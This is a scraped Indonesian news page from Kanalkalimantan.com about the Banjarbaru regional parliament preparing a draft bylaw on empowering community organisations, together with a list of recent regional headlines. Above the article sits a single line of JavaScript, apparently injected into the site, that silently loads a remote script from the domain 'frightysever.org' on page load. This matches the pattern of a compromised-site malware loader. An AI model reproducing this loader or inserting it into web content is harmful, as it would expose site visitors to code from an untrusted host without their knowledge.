(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DPRD BANJARBARU

Bapemperda Siap Bahas Raperda Pemberdayaan Ormas


KANALKALIMANTAN.COM, BANJARBARU – Ketua Badan Pembentukan Peraturan Daerah (Bapemperda) DPRD Kota Banjarbaru Hindera Wahyudin mengatakan telah mengundang Lembaga Penelitian dan Pengabdian Masyarakat (LPPM) Universitas Lambung Mangkurat (ULM) untuk bekerja sama dalam penyusunan Naskah Akademik (NA) dan draf Raperda (Rancangan Peraturan Daerah).

Kerja sama ini bertujuan untuk menghasilkan Raperda yang lebih berkualitas dengan memperhatikan saran dan masukan dari berbagai pihak.

Hindera menyampaikan harapan agar Raperda yang disusun dapat mengakomodasi potensi daerah, sekaligus menjadi payung hukum yang mengatur kewenangan daerah secara umum.

“Raperda ini penting agar apa yang menjadi kewenangan kita dapat dipayungi dengan aturan yang jelas. Harapan kami, muatan dalam Raperda bisa mencakup potensi daerah dan dimaksimalkan,” ujarnya, Senin (13/1/2025).

Baca juga: Silaturahmi Bupati dan Wabup HSU dengan PCNU dan Muslimat Alabio

Salah satu Raperda inisiatif DPRD di tahun 2025 ialah tentang Pemberdayaan Organisasi Kemasyarakatan. Hindera juga menekankan pentingnya peran organisasi kemasyarakatan (ormas) yang belum memiliki payung hukum yang jelas.

Oleh karena itu, salah satu Raperda yang sedang dibahas adalah mengenai pemberdayaan ormas, agar mereka dapat terpayungi secara hukum dan berkontribusi dalam pembangunan daerah.

Ketua Bapemperda DPRD Banjarbaru, Hindera Wahyudin. Foto: humasdprdbjb

“Kami ingin banyak ormas yang dapat berperan secara legal dan formal, dan raperda ini menjadi sarana untuk itu,” ujarnya.

Baca juga: Dishub Kalsel Rekayasa Kurangi Kecepatan Kendaraan di A Yani Mekatani 

Hindera menambahkan bahwa setelah data dan draf disusun, raperda akan dibahas lebih lanjut di Bapemperda dan dilanjutkan dengan pembahasan intensif di panitia khusus (Pansus).

Rencana kedepannya, tiga bulan ke depan diharapkan sudah ada Mou dan data yang lengkap, sehingga pada pertengahan tahun, pembahasan lebih lanjut bisa dilakukan di paripurna. (Kanalkalimantan.com/bie)

Reporter: bie
Editor: kk


Risa

Recent Posts

DPKP Kabupaten Banjar Laksanakan Forum Perangkat Daerah

KANALKALIMANTAN.COM, MARTAPURA – Dinas Pemadam Kebakaran dan Penyelamatan (DPKP) Kabupaten Banjar menggelar Forum Perangkat Daerah… Read More

7 jam ago

Hj Siti Saniah Ditetapkan sebagai Ibunda Guru Kabupaten Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Ketua Tim Penggerak PKK Kabupaten Kapuas Hj Siti Saniah secara resmi… Read More

9 jam ago

Insentif 391 Guru Honorer di HSU Telat Dibayar, Begini Penjelasan Plt Kabag Prokopim

KANALKALIMANTAN.COM, AMUNTAI - Pelaksana Tugas (Plt) Kepala Bagian Protokol dan Komunikasi Pimpinan (Prokopim) Setda Kabupaten… Read More

9 jam ago

Konferensi Kabupaten PGRI Kapuas Masa Bakti XXIII, Ini Pesan Bupati Wiyatno

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno membuka Konferensi Kabupaten Persatuan Guru Republik… Read More

10 jam ago

Wabup Banjar Hadiri Musrenbang RKPD Provinsi Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Wakil Bupati Banjar Habib Idrus Al Habsyi mengikuti Musyawarah Perencanaan Pembangunan (Musrenbang)… Read More

11 jam ago

Ikuti Rapat Paripurna, Wabup Banjar Bacakan 2 Raperda

KANALKALIMANTAN.COM, MARTAPURA - Rapat paripurna dengan agenda Penyampaian Bupati atas Raperda tentang Penyelenggaraan Perhubungan dan… Read More

12 jam ago